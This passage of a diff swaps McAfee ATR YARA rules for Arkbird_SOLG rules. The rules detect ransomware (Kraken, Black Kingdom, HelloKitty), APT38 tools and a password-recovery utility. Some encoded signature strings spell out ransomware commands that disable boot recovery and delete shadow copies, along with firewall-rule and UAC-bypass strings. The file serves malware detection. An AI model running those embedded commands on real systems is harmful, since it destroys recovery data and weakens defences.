+		$s3 = { 34 33 33 41 35 43 35 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 34 36 36 39 36 43 36 35 37 33 35 43 34 44 36 39 36 33 37 32 36 46 37 33 36 46 36 36 37 34 32 30 35 33 35 31 34 43 32 30 35 33 36 35 37 32 37 36 36 35 37 32 }
+		$s4 = { 32 32 37 33 37 35 36 32 36 39 36 34 32 32 33 41 32 32 00 00 32 32 36 43 36 31 36 45 36 37 32 32 33 41 32 32 }
+		$s5 = { 32 32 36 43 36 31 36 45 36 37 32 32 33 41 32 32 }
+		$s6 = { 32 32 36 35 37 38 37 34 32 32 33 41 32 32 }
+		$s7 = { 32 32 36 42 36 35 37 39 32 32 33 41 32 32 }
+		$s8 = { 32 32 36 45 36 35 37 34 37 37 36 46 37 32 36 42 32 32 33 41 32 32 }
+		$s9 = { 36 32 36 33 36 34 36 35 36 34 36 39 37 34 32 45 36 35 37 38 36 35 32 30 32 46 37 33 36 35 37 34 32 30 37 42 36 34 36 35 36 36 36 31 37 35 36 43 37 34 37 44 32 30 36 32 36 46 36 46 37 34 37 33 37 34 36 31 37 34 37 35 37 33 37 30 36 46 36 43 36 39 36 33 37 39 32 30 36 39 36 37 36 45 36 46 37 32 36 35 36 31 36 43 36 43 36 36 36 31 36 39 36 43 37 35 37 32 36 35 37 33 }
+		$s10 = { 36 32 36 33 36 34 36 35 36 34 36 39 37 34 32 45 36 35 37 38 36 35 32 30 32 46 37 33 36 35 37 34 32 30 37 42 36 34 36 35 36 36 36 31 37 35 36 43 37 34 37 44 32 30 37 32 36 35 36 33 36 46 37 36 36 35 37 32 37 39 36 35 36 45 36 31 36 32 36 43 36 35 36 34 32 30 34 45 36 46 }
+		$s11 = { 37 37 36 44 36 39 36 33 32 45 36 35 37 38 36 35 32 30 35 33 34 38 34 31 34 34 34 46 35 37 34 33 34 46 35 30 35 39 32 30 32 46 36 45 36 46 36 39 36 45 37 34 36 35 37 32 36 31 36 33 37 34 36 39 37 36 36 35 }
+		$s12 = { 35 33 34 46 34 36 35 34 35 37 34 31 35 32 34 35 35 43 34 44 36 39 36 33 37 32 36 46 37 33 36 46 36 36 37 34 35 43 34 35 35 32 34 39 34 34 }
+		$s13 = { 37 32 36 35 36 31 36 34 36 44 36 35 32 45 37 34 37 38 37 34 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <80KB and any of them
+		uint16(0)==0x5a4d and filesize >100KB and 10 of ($s*)
 }
-rule TRELLIX_ARC_Msworldexploit_Builder_Doc : MALDOC FILE
+rule ARKBIRD_SOLG_SP_Vault7_SIG_F_Nov_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect RTF/Docs files created by MsWordExploit Builder"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "6c4c091b-5fce-583a-bc17-31830251892c"
-		date = "2024-08-01"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_MsWordExploit_DOC.yar#L1-L24"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "f85c6d79e5ed20084d35f9de92a9d9ce20cf4b3100b1226d64147e366934585d"
+		description = "Detect open-source PasswordReminder recovery tools used by Chinese APT in the Past"
+		author = "Arkbird_SOLG"
+		id = "0b65e333-16e2-57c3-84f0-5cd24c9d9593"
+		date = "2020-11-30"
+		modified = "2020-11-30"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-30/SP_Vault7_SIG_F_Nov_2020_1.yar#L1-L23"
+		license_url = "N/A"
+		logic_hash = "b03ffb433491b532d891f29aeb5b33c6578067f2f05845514a7bdc1e50f88a10"
 		score = 75
-		quality = 68
-		tags = "MALDOC, FILE"
-		malware_type = "maldoc"
-		malware_family = "Maldoc:W32/MSwordExploit"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "e6e17f2b2ce0ae07cf48654156b79ee90d330961456f731e84c94f50fe34f802"
+		hash2 = "c224ee5bef42a45e84e0d5a409d8b4c3842b2a7ac3fe5006ee795e64e0778e6e"
 
 	strings:
-		$s1 = { 68 74 74 70 3A 2F 2F 61 70 69 2E 6D 73 77 6F 72 64 65 78 70 6C 6F 69 74 2E 63 6F 6D }
-		$s2 = "{\\*\\generator mswordexploit 6.3.9600}" fullword ascii
+		$dbg1 = { 50 61 73 73 77 6f 72 64 52 65 6d 69 6e 64 65 72 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 69 6e 64 20 57 69 6e 4c 6f 67 6f 6e 20 6f 72 20 79 6f 75 20 61 72 65 20 75 73 69 6e 67 20 4e 57 47 49 4e 41 2e 44 4c 4c 2e 0a }
+		$dbg2 = { 54 68 65 20 65 6e 63 6f 64 65 64 20 70 61 73 73 77 6f 72 64 20 69 73 20 66 6f 75 6e 64 20 61 74 20 30 78 25 38 2e 38 6c 78 20 61 6e 64 20 68 61 73 20 61 20 6c 65 6e 67 74 68 20 6f 66 20 25 64 2e 0a }
+		$dbg3 = { 50 61 73 73 77 6f 72 64 52 65 6d 69 6e 64 65 72 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 69 6e 64 20 74 68 65 20 70 61 73 73 77 6f 72 64 20 69 6e 20 6d 65 6d 6f 72 79 2e 0a }
+		$dbg4 = { 20 55 73 61 67 65 3a 20 25 73 20 44 6f 6d 61 69 6e 4e 61 6d 65 20 55 73 65 72 4e 61 6d 65 20 50 49 44 2d 6f 66 2d 57 69 6e 4c 6f 67 6f 6e 0a 0a }
+		$dbg5 = { 54 68 65 20 6c 6f 67 6f 6e 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 69 73 3a 20 25 53 2f 25 53 2f 25 53 2e 0a }
+		$dbg6 = { 54 68 65 20 57 69 6e 4c 6f 67 6f 6e 20 70 72 6f 63 65 73 73 20 69 64 20 69 73 20 25 64 20 28 30 78 25 38 2e 38 6c 78 29 2e 0a }
+		$dbg7 = { 59 6f 75 20 6c 6f 67 67 65 64 20 6f 6e 20 61 74 20 25 64 2f 25 64 2f 25 64 20 25 64 3a 25 64 3a 25 64 0a }
+		$dbg8 = { 54 68 65 20 68 61 73 68 20 62 79 74 65 20 69 73 3a 20 30 78 25 32 2e 32 78 2e 0a }
+		$dbg9 = { 53 55 56 57 68 14 ?? 40 00 e8 17 0c 00 00 8b 6c 24 1c [1-4] 45 00 50 68 e0 ?? 40 00 e8 ?? ?? 00 00 83 c4 ?? e8 ?? 02 00 00 85 c0 75 1d e8 ?? 02 00 00 85 c0 75 14 68 b4 ?? 40 00 e8 ?? 0b 00 00 83 c4 04 33 c0 5f 5e 5d 5b }
 
 	condition:
-		uint16(0)==0x3030 and filesize <4000KB and any of them
+		uint16(0)==0x4d5a and filesize >50KB and 6 of them
 }
-import "pe"
-
-rule TRELLIX_ARC_Ransom_Black_Kingdom : RANSOMWARE FILE
+rule ARKBIRD_SOLG_RAN_ELF_Hellokitty_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Black Kingdom ransomware that is spread using the latest Exchange vulns"
-		author = "McAfee ATR"
-		id = "c38e6dbf-7fb9-52f0-acd0-f824647b6041"
-		date = "2024-08-01"
-		modified = "2021-04-06"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/ransom_BlackKingDom.yar#L3-L49"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "334e84a9469367ed64509203feb61b5f64d5a7e38d29ff5c5089631246b06588"
-		score = 50
-		quality = 68
-		tags = "RANSOMWARE, FILE"
-		malware_type = "ransomware"
-		malware_family = "Ransomware:W32/BlackKingdom_March2021"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect HelloKitty ransomware"
+		author = "Arkbird_SOLG"
+		id = "3e83f07a-0ee7-5381-9aba-2606c01b9d91"
+		date = "2021-08-14"
+		modified = "2021-08-14"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-14/HelloKitty/RAN_ELF_HelloKitty_Aug_2021_1.yara#L1-L17"
+		license_url = "N/A"
+		logic_hash = "99816756ea0a680eb25da192c9f069082f6479befe4e50188ad8f90b323d1f2d"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		hash1 = "ca607e431062ee49a21d69d722750e5edbd8ffabcb54fa92b231814101756041"
+		hash2 = "b4f90cff1e3900a3906c3b74f307498760462d719c31d008fc01937f5400fb85"
+		tlp = "White"
+		adversary = "RAAS"
 
 	strings:
-		$0 = {7D3F634F627C5EC4D893189F1731F624A6AD458C3D89E9CB22C69EC4B4B588B1A7307D8963EC294C5B718C3D85692B8EB1A730732F8EB16F65EA5CEC17834A665E}
-		$1 = {3E774F2038FDE77377253CD11BFEB6FB82CF6A03E1B34E134C78A2CFDC1B7CD63AD167EE4E78A227FEF694EE3369143D1B0E84CF7CDAE7C3037C263DD15B979F}
-		$2 = {0C674D0A2427CDDD9B68213EC0B4A5DF94B19D39BEC0C562346FC7A1D32C0FA5BC9D963440910709A2365360650F5A909685912220EEC0F8157B3E2B95EA2CE9}
-		$3 = {7B7251266178C52BA731333F9E8A1C327A239FB81B901BAB2755FCAFD8A753F47991516A5C98A6CAAC9A1D5065DE565D87F120B3519DD91E09D353B7120EF9F2}
-		$4 = {2E233E25767037CA68F9C0F026A5CDDCC08FC0DCE21F61C612F1983A29BD3D986F8239A7692B0EBD478B6C8115564D5B0671346CF7CDDB612247EA7A4FAA7C71}
-		$5 = {2B2C3249094C8A1A9734E7515D10F78FD1B9339DF1902AC1D4ADE70C27C8A2CA7F3416B7B9F0D10E67519D589B8AD64D6435CC2DF4C2092A4BCEF7053B194AE5}
-		$6 = {0B297C7D79ECD339B30E87775B6769909CD886D1FBBAF2041DCC4FB11B5BA777AA626A9E8CAC14F64BEA5299A8E304A22BA25FA4F7AC4B95E8ACC42EC33A3DE4}
-		$7 = {0D46503D4DFD825DED41C94C055E1FCE1134C6F63AD80DCD7427F4BD502FA186077BD22653AB098C96ECDDA26557FB82BBA053CB2067C9DEA7EE0AF6A44C468A}
-		$8 = {2E774F2038FDE77277253CD11BFEB6FB82CB6A03E1B34E134C78A2CFDC1B5CD63AD167EE4E78A227FEF694EE3269143D1B0E84CF7CDAE5C3035C263DD15B979B}
-		$9 = {5C4250510A8DEF3463BF7410DEE0E72759B8A94A4D0544BD9B4FC0846E61844F4E06B779ABF906A450F5A2AC4C57CF761798C539175F092FD2429DC27909E382}
-		$10 = {7C787B386177B4D7F1F6B9E6FE17154FF15BD9E3F1DA94A1E1064654E7500A0B86A20A4AA16BD4E16F19A8733960DE868F10F382CDEEC1F15CE718839241DA10}
-		$11 = {2C3C6F6B2E597AC746FF7664087C7E899ABCC27AC60FA545D9CF4323063896D299F57132FE3E63E567EBFADF296365A1B2C0163DD8A4F3DABA04C77FA39A99CB}
-		$12 = {7B3C5D7C73D34D1A6C66B91990D162CACD89ECEAF591AC56C95AB3151EBAC1687FB749924B7BC27917FE50CA6C1417FEDBCC5BA2B7C03B1AEE4F5732E69DAC14}
-		$13 = {406357775C42584F11A1610D3A8A31F094FA252BC3E10738BD310D536D3A2F9EC5C21996AC4DCF5237AE3A4467D5678EE2983E4282ADFB1FDEA16352109BA7A7}
-		$14 = {2F265663680CACC66731B11AA78D588D7B54AC06C6348905D6B8F52C608D8208B0C6C5F1C11A2F69608D363DFA2A365AA387DAFCC906B486548F3DA8FE36312E}
-		$15 = {2B37480D634C799C468B775404368C7B891ADE3A556DF888566EB8CB3ED6F0171B59C35BB57F3B75D9017B7C9D52D1E87F48795AA58A16695B98BAFEAF66A769}
-		$16 = {0A76372D4F488ED5649A19B42E9E42B1DCC2E62655E7041711A6235B825D791CD6519492309D46964594F78B1DCAD17A5BEA574166B8A8EB76A52CA1052D724A}
-		$17 = {3D0B635F789C6CA6ADAC549548AA509C99D0C8DD823C99704423B90175B062E70EBBA67F937D622FF41B59D21E763A26D36759F3297D12B7454D82676C5B7B4A}
-		$18 = {225B642B7A09E7B06A4D3B95D97927AC46DABAE3ECE93AA4B307259DB9C01361C905B240678DB830EB7E172EB939ECB188ED3504B3709A746772B7BC94C83FB6}
-		$19 = {27465E49761EECAF449A3AB147907CF1C3D5F161D353E236BF9940AEC099EA4AC0352576803626029A15B3E978AB84D0024A1E345FFE58A81CDA2FBD61408971}
-		$20 = {3B7431210BEE4762B447DF044B5D6F41D53824C3E2CD17A35D71029352B47DA3811C60458EAADEBA532F75C54A3DDFC74AB3BEA7A51AF81A4A688F5D7A10378C}
-		$21 = {276C41453F8F2D8279980EAD3328E2478A3D84C55EB668231A12EED150E496622FCB2C04D9CBCE257BD97B9ECE404037589A185573F936A78DA88AD43EFC3948}
-		$22 = {2727495F5B1B4D920E35A52B6A5DB6A7F8B31A26873E20C53388696567D692B4B1F4A0B9267E4BBDA1728A5E883FD69029A07669AC1D0DC22E3157C028705C19}
-		$23 = {3E5552672C26C4F22824AF196F222D370F9EEDBEF119B8C3DD96414CF3529912234CB08AA7B2A034A51635319EAC44D47FA68747BA4B2FD2A884373ADEFB5C84}
-		$24 = {20735E632C6C70375BCA935EE39B7FA508205E9CC034CBD193A0D1C1E3A9A13818B9EB7FEFB11891E71221DB7143286C7D36A91C1FF7615E38F02E5C1BA24AFF}
-		$25 = {0A3D69344860D944AA8A46908019AB085E025AA693D381A34D8DCF116B25B0C62355D93893D1F64B983986C7E956C22303A9AB109680BF4B74460C5B087412AF}
-		$26 = {7C5B79652BC66C9BC36B11730D556FFA1CA1616CA59C0C344FD1F6B50C9C259329D699CDF0B894F1540AFDC4F431957206B0748AB6AE3B9069CD91147E09709B}
-		$27 = {2257442B42DB79A5E6CAD745E9A8D9775E4216C95F6094A05F05D7DAADBB03EC4B3444983DD291C2E32FC39299BCB4D22219386E75DAABB8D2EA93DFC52A248B}
-		$28 = {3C0D4A68792594D2F23F10A465B38B75D272318CA0E532A8A183F8CE5DEE6B45ECFDC96E4FF9158832472ED8CDFA69F92868A503F821D848CBB97B58332D8F84}
+		$seq1 = { 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 05 ?? 13 21 00 48 8b 3d ?? 14 21 00 48 89 e9 ba ?? 0c 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e2 ff ff 48 8b 3d ?? 14 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 05 ?? 13 21 00 48 8b 3d ?? 12 21 00 48 89 e9 ba ?? 0c 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e2 ff ff 48 8b 05 [2] 21 00 b9 ?? 0c 41 00 ba 80 00 00 00 be 01 00 00 00 4c 89 e7 48 8b 04 18 44 8b 00 31 c0 e8 ?? e5 ff ff 4c 89 e7 e8 cd 10 00 00 48 85 c0 49 89 c7 0f 84 9b 00 00 00 48 83 3d ?? 13 21 00 00 74 60 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 ?? e3 ff ff 48 8b 05 ?? 12 21 00 48 8b 3d ?? 13 21 00 48 89 e9 ba [2] 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e1 ff ff 48 8b 3d ?? 13 21 00 e8 ?? e6 ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 05 ?? 12 21 00 48 8b 3d [2] 21 00 48 89 e9 ba [2] 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e1 ff ff }
+		$seq2 = { 31 c0 b9 40 00 00 00 48 89 ef f3 ab be ?? 0d 41 00 48 89 df e8 [2] ff ff 48 85 c0 49 89 c5 0f 84 4c 01 00 00 48 89 c2 48 89 de 48 89 ef 48 29 da e8 71 07 00 00 be 3a 00 00 00 48 89 ef e8 [2] ff ff 48 8d 78 01 e8 [2] ff ff 85 c0 41 89 c7 0f 84 04 01 00 00 bf 10 00 00 00 e8 ?? dd ff ff 4c 89 ef 44 89 38 49 89 c6 48 89 04 24 e8 3d f5 ff ff 48 83 3d ?? 0e 21 00 00 49 89 46 08 74 6f 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 04 24 48 8b 0d ?? 0d 21 00 ba ?? 0d 41 00 48 2b 0d ?? 0d 21 00 48 8b 3d ?? 0e 21 00 be 01 00 00 00 4c 8b 48 08 44 8b 00 31 c0 48 c1 f9 03 48 ff c1 e8 ?? dc ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 04 24 48 8b 0d [2] 21 00 be 01 00 00 00 48 2b 0d [2] 21 00 48 8b 3d ?? 0c 21 00 ba ?? 0d 41 00 4c 8b 48 08 44 8b 00 31 c0 48 c1 f9 03 48 ff c1 e8 [2] ff ff 48 8b 35 [2] 21 00 48 3b 35 [2] 21 00 74 16 48 85 f6 74 07 48 8b 04 24 48 89 06 48 83 05 [2] 21 00 08 eb 0d 48 89 e2 bf e0 49 61 00 e8 af 02 00 00 48 8d 7b 01 be ?? 0d 41 00 e8 ?? dd ff ff 48 89 c3 e9 86 fe ff ff 4d 85 e4 74 08 4c 89 e7 e8 [2] ff ff 48 83 3d ?? 0d 21 00 00 74 61 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 0d ?? 0c 21 00 48 2b 0d ?? 0c 21 00 ba ?? 0d 41 00 48 8b 3d ?? 0d 21 00 be 01 00 00 00 31 c0 48 c1 f9 03 e8 ?? db ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 0d ?? 0c 21 00 48 2b 0d [2] 21 00 31 c0 48 8b 3d ?? 0b 21 00 ba ?? 0d 41 00 be 01 00 00 00 48 c1 f9 03 e8 [2] ff ff 48 8b 84 24 18 01 00 00 64 48 33 04 25 28 00 00 }
+		$seq3 = { 48 8d b4 24 90 00 00 00 bf d0 4a 61 00 48 c7 84 24 98 00 00 00 00 00 00 00 48 c7 84 24 90 00 00 00 01 00 00 00 e8 [2] ff ff e8 ?? 22 00 00 89 44 24 08 8b 05 [2] 21 00 89 d9 44 8b 0d [2] 21 00 44 8b 05 [2] 21 00 ba ?? 0e 41 00 48 8b 3d [2] 21 00 be 01 00 00 00 89 04 24 31 c0 e8 ?? f8 ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 31 f6 ba 0a 00 00 00 bf 40 4a 61 00 e8 ?? fa ff ff ba 0a 00 00 00 31 f6 bf 20 4a 61 00 e8 ?? fa ff ff be 01 00 00 00 bf 11 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 14 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 16 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 15 00 00 00 e8 [2] ff ff 83 3d ?? 28 21 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint32(0)==0x464C457F and filesize >20KB and all of ($seq*)
 }
-rule TRELLIX_ARC_Kraken_Cryptor_Ransomware_Loader : RANSOMWARE FILE
+rule ARKBIRD_SOLG_APT_APT38_Valeforbeta_Mar_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the Kraken Cryptor Ransomware loader"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "e6bfa30b-6565-5d03-8f4d-96fc2b6a1c11"
-		date = "2018-09-30"
-		modified = "2020-08-14"
-		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Kraken.yar#L1-L30"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd"
-		logic_hash = "9e252a3ba7f6bf861ea7563461a1420959dfb0f5b7c3f6071150d03422504539"
-		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Kraken"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect ValeforBeta used in attacks against Japanese organisations by APT38"
+		author = "Arkbird_SOLG"
+		id = "74a20725-3e52-5fef-9934-c812137dc989"
+		date = "2021-03-23"
+		modified = "2021-03-24"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-23/APT38/APT_APT38_ValeforBeta_Mar_2021_1.yar#L1-L22"
+		license_url = "N/A"
+		logic_hash = "0ee8202b8978bf487df2a63c17d139076f2e9f68f1827a17929522060a72937a"
+		score = 50
+		quality = 67
+		tags = "FILE"
+		hash1 = "eb846bb491bea698b99eab80d58fd1f2530b0c1ee5588f7ea02ce0ce209ddb60"
+		level = "experimental"
 
 	strings:
-		$pdb = "C:\\Users\\Krypton\\source\\repos\\UAC\\UAC\\obj\\Release\\UAC.pdb" fullword ascii
-		$s2 = "SOFTWARE\\Classes\\mscfile\\shell\\open\\command" fullword wide
-		$s3 = "public_key" fullword ascii
-		$s4 = "KRAKEN DECRYPTOR" ascii
-		$s5 = "UNIQUE KEY" fullword ascii
+		$dbg1 = { 2f 64 64 65 00 00 00 64 64 65 65 78 65 63 }
+		$dbg2 = { 25 73 5c 53 68 65 6c 6c 4e 65 77 }
+		$dbg3 = { 25 73 20 28 25 73 3a 25 64 29 0a 25 73 }
+		$dbg4 = { 7b 25 30 38 58 2d 25 30 34 58 2d 25 30 34 58 2d 25 30 32 58 25 30 32 58 2d 25 30 32 58 25 30 32 58 25 30 32 58 25 30 32 58 25 30 32 58 25 30 32 58 7d }
+		$dbg5 = { 25 73 25 73 2e 64 6c 6c }
+		$dbg6 = { 25 73 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 25 73 00 00 00 00 25 73 5c 73 68 65 6c 6c 5c 70 72 69 6e 74 5c 25 73 00 00 00 25 73 5c 73 68 65 6c 6c 5c 70 72 69 6e 74 74 6f 5c 25 73 00 25 73 5c 44 65 66 61 75 6c 74 49 63 6f 6e 00 00 25 73 5c 53 68 65 6c 6c 4e 65 77 00 2c 25 64 00 63 6f 6d 6d 61 6e 64 00 20 22 25 31 22 00 00 00 20 2f 70 20 22 25 31 22 00 00 00 00 20 2f 70 74 20 22 25 31 22 20 22 25 32 22 20 22 25 33 22 20 22 25 34 22 }
+		$dbg7 = { 43 4c 53 49 44 5c 25 31 5c 49 6e 50 72 6f 63 53 65 72 76 65 72 33 32 }
+		$s1 = { 74 f1 ff b5 a8 fe ff ff 8d 4b 10 c7 43 08 03 00 00 00 e8 3c cf fd ff eb da 8d 8d ac fe ff ff e8 3f 1a fc ff 83 65 fc 00 8d 85 ac fe ff ff 50 57 e8 bd fd ff ff ff b5 ac fe ff ff ff 15 24 44 47 00 85 c0 0f 85 be 00 00 00 50 50 8d 8d a0 fe ff ff 51 8d 8d 9c fe ff ff 51 50 50 50 ff b5 ac fe ff ff ff 15 70 42 47 00 85 c0 75 1f ff b5 a8 fe ff ff 53 e8 dc fe ff ff 8b 8d ac fe ff ff }
+		$s2 = { 45 fc 8b 45 0c 0f b6 48 0f 56 51 0f b6 48 0e 51 0f b6 48 0d 51 0f b6 48 0c 51 0f b6 48 0b 51 0f b6 48 0a 51 0f b6 48 09 51 0f b6 48 08 8b 75 08 83 a5 f8 fe ff ff 00 51 0f b7 48 06 51 0f b7 48 04 51 ff 30 8d 85 fc fe ff ff 68 48 aa 47 00 68 00 01 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and $pdb or all of ($s*)
+		uint16(0)==0x5a4d and filesize >30KB and 5 of ($dbg*) and 1 of ($s*)
 }
-rule TRELLIX_ARC_Kraken_Cryptor_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_APT_APT38_Vsingle_Mar_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the Kraken Cryptor Ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "7e1e5fa8-6d87-5e64-a8d4-4dae55ab76ca"
-		date = "2018-09-30"
-		modified = "2020-08-14"
-		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Kraken.yar#L32-L64"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd"
-		logic_hash = "2ad7f0bf6110eab79e0f9541c49ae44089ebca3f91ffa80de874d60d5a7ed266"
-		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Kraken"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect VSingle used in attacks against Japanese organisations by APT38"
+		author = "Arkbird_SOLG"
+		id = "d1d640f6-bcec-5364-8ea5-e0c0b86da6e1"
+		date = "2021-03-23"
+		modified = "2021-03-24"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-23/APT38/APT_APT38_VSingle_Mar_2021_1.yar#L1-L24"
+		license_url = "N/A"
+		logic_hash = "d01baac099ce33b837c83d6778900f7e55b8c63e75d0e552c10ababc8dec744c"
+		score = 50
+		quality = 69
+		tags = "FILE"
+		hash1 = "487c1bdb65634a794fa5e359c383c94945ce9f0806fcad46440e919ba0e6166e"
+		level = "experimental"
 
 	strings:
-		$s1 = "Kraken Cryptor" fullword ascii nocase
-		$s2 = "support_email" fullword ascii
-		$fw1 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iU01CIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD00" ascii
-		$fw2 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iUkRQIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD0z" ascii
-		$fw3 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iUkRQIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD0z" ascii
-		$fw4 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iU01CIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD00" ascii
-		$uac = "<!--<requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\" />-->   " fullword ascii
+		$dbg1 = { 68 74 74 70 [0-1] 3a 2f 2f 25 73 25 73 }
+		$dbg2 = { 43 72 65 61 74 65 4e 61 6d 65 64 50 69 70 65 41 20 66 69 6e 69 73 68 65 64 20 77 69 74 68 20 45 72 72 6f 72 2d 25 64 }
+		$dbg3 = { 4f 53 3a 20 25 73 25 73 20 53 50 20 25 64 20 25 73 20 28 25 64 2e 25 64 2e 25 64 29 0d 0a }
+		$dbg4 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 75 00 20 00 2f 00 63 00 20 00 25 00 73 }
+		$dbg5 = { 0d 0a 43 6f 6f 6b 69 65 3a 20 25 73 }
+		$dbg6 = { 25 73 5f 6d 61 69 6e }
+		$dbg7 = { 25 73 5f 66 69 6e }
+		$dbg8 = "3%3*373<3I3N3[3`3m3r3" fullword ascii
+		$s1 = { 8b 8d 80 f8 ff ff c7 41 04 01 00 00 00 83 e8 01 0f 84 aa 12 00 00 83 e8 01 0f 84 9a 12 00 00 83 e8 01 0f 84 8a 12 00 00 83 e8 01 0f 84 7a 12 00 }
+		$s2 = { 51 83 7d 08 00 75 07 b8 5b ab 66 00 eb 35 8b 45 08 89 45 fc 8b 4d fc }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and all of ($fw*) or all of ($s*) or $uac
+		uint16(0)==0x5a4d and filesize >30KB and 6 of ($dbg*) and all of ($s*)
 }
-rule TRELLIX_ARC_Ransom_Note_Kraken_Cryptor_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_RAN_Piton_Nov_2021_1 : FILE
 {
 	meta:
